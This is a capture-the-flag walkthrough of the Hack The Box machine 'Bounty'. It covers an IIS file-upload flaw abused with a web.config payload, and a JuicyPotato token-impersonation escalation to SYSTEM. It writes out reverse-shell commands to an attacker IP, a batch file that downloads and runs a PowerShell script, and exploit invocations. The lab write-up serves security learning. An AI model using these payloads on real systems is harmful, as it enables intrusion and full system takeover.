Hack The Box

Hack The Box: Bounty Walkthrough

Bounty uploads a web.config payload for code execution and uses token impersonation for SYSTEM.

Bounty Hack The Box machine artwork
Official Hack The Box machine artwork for Bounty.Hack The Box machine page opens in a new tab

Recon & Enumeration

Use nmap to scan for open ports and services:

HackTheBox “Bounty” Walkthrough, figure 2

Visit the target on port 80.

HackTheBox “Bounty” Walkthrough, figure 3

Perform a directory scan on the Microsoft IIS server using the "Feroxbuster" tool. use a larger wordlist built in Kali machine targeting the extensions asp, aspx, and txt using the following command:

feroxbuster -u http://10.10.10.93/ -x asp,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 100 -s 200,301 -n

HackTheBox “Bounty” Walkthrough, figure 4

Visit the transfer.aspx page.

HackTheBox “Bounty” Walkthrough, figure 5

The website has a file upload feature. When we try to upload a PNG file, the site confirms its successful upload, and the image can be viewed at http://10.10.10.93/UploadedFiles/[image name] which is the second directory discovered by Feroxbuster above.

Browse for the Bounty machine info image.

HackTheBox “Bounty” Walkthrough, figure 6

Upload.

HackTheBox “Bounty” Walkthrough, figure 7

Verify.

HackTheBox “Bounty” Walkthrough, figure 8

We will use Burp intruder to determine the allowed extensions by intercepting the file upload request.

Using Burp Suite for intercepting the upload request of the bounty information image.

HackTheBox “Bounty” Walkthrough, figure 9

Send it to the Intruder.

HackTheBox “Bounty” Walkthrough, figure 10

We put the selection of the Sniper attack type to the file extension as the parameter for payload replacement.

HackTheBox “Bounty” Walkthrough, figure 11

We will use the raft-small-extensions.txt wordlist from [SecLists opens in a new tab] and move it to the working directory.

HackTheBox “Bounty” Walkthrough, figure 12

To prevent URL encoding in Burp, use the "Cut" tool to remove the dots.

HackTheBox “Bounty” Walkthrough, figure 13

In the "Payloads" tab, select the "Runtime file" as a pyload type and browse for the wordlist we prepared.

HackTheBox “Bounty” Walkthrough, figure 14

Start the attack.

HackTheBox “Bounty” Walkthrough, figure 15

One of the allowed extensions seems to be "config."

After reviewing the available techniques, I found a compelling web.config opens in a new tab file that enables Remote Code Execution (RCE) by exploiting the file upload functionality. To proceed, we will download the file to our attack box and configure it with the appropriate path for downloading the Nishang Invoke-PowerShellTcp PowerShell script.

HackTheBox “Bounty” Walkthrough, figure 16

Download and prepare the Nishang Invoke-PowerShellTcp opens in a new tab PowerShell script by appending it with the command below.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 4343

HackTheBox “Bounty” Walkthrough, figure 17

Start an HTTP server in the current directory.

HackTheBox “Bounty” Walkthrough, figure 18

Start a listener.

HackTheBox “Bounty” Walkthrough, figure 19

Browse for the web.config file.

HackTheBox “Bounty” Walkthrough, figure 20

Upload.

HackTheBox “Bounty” Walkthrough, figure 21

Trigger it on the URL http://10.10.10.93/UploadedFiles/web.config

HackTheBox “Bounty” Walkthrough, figure 22

On our HTTP server we notice that the powershell script has been downloaded.

HackTheBox “Bounty” Walkthrough, figure 23

And we get a shell on our listener.

HackTheBox “Bounty” Walkthrough, figure 24

Start a system information enumeration.

HackTheBox “Bounty” Walkthrough, figure 25

The host is 64-bit Windows Server 2008 R2 with no installed hotfixes, so the next checks should include applicable kernel vulnerabilities and 64-bit tooling.

Check the current user's privileges:

HackTheBox “Bounty” Walkthrough, figure 26

SeImpersonatePrivilege is enabled, making a Potato-family impersonation path relevant for SYSTEM escalation.

HackTheBox “Bounty” Walkthrough, figure 27

Download the 64-bit JuicyPotato executable from the GitHub release opens in a new tab.

HackTheBox “Bounty” Walkthrough, figure 28

Keep the attack-system HTTP server running from the working directory.

Create a temp directory within the C partition and proceed to download JuicyPotato onto the target machine using the command below.

(new-object net.webclient).downloadfile('http://10.10.14.8:8080/JuicyPotato.exe', '\temp\JuicyPotato.exe')pla
HackTheBox “Bounty” Walkthrough, figure 29

Run the exploit.

HackTheBox “Bounty” Walkthrough, figure 30

JuicyPotato requires a COM server port and a valid CLSID. Select one from the tool author's list for this OS version or run the following PowerShell script to enumerate the system's CLSIDs:

GetCLSID.ps1 script opens in a new tab

Create a batch file on the attacker system that downloads and runs the Nishang PowerShell script:

echo "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.8:8080/Invoke-PowerShellTcp.ps1')" > shell.bat
HackTheBox “Bounty” Walkthrough, figure 31

Download the batch script onto the target box using the command below.

(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.8:8080/shell.bat', '\temp\shell.bat')
HackTheBox “Bounty” Walkthrough, figure 32

Run the exploit. If the default CLSID fails, test an alternative from the exploit publisher's list here opens in a new tab.

For Windows Server 2008 R2, the relevant CLSIDs are:

HackTheBox “Bounty” Walkthrough, figure 33

Start a listener.

HackTheBox “Bounty” Walkthrough, figure 34

Proceed with using the first CLSID from the list.

./JuicyPotato.exe -l 4343 -p C:\temp\shell.bat -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
HackTheBox “Bounty” Walkthrough, figure 35

A SYSTEM shell is obtained.

HackTheBox “Bounty” Walkthrough, figure 36

Further reading

Evidence connected to this article.

Back to article start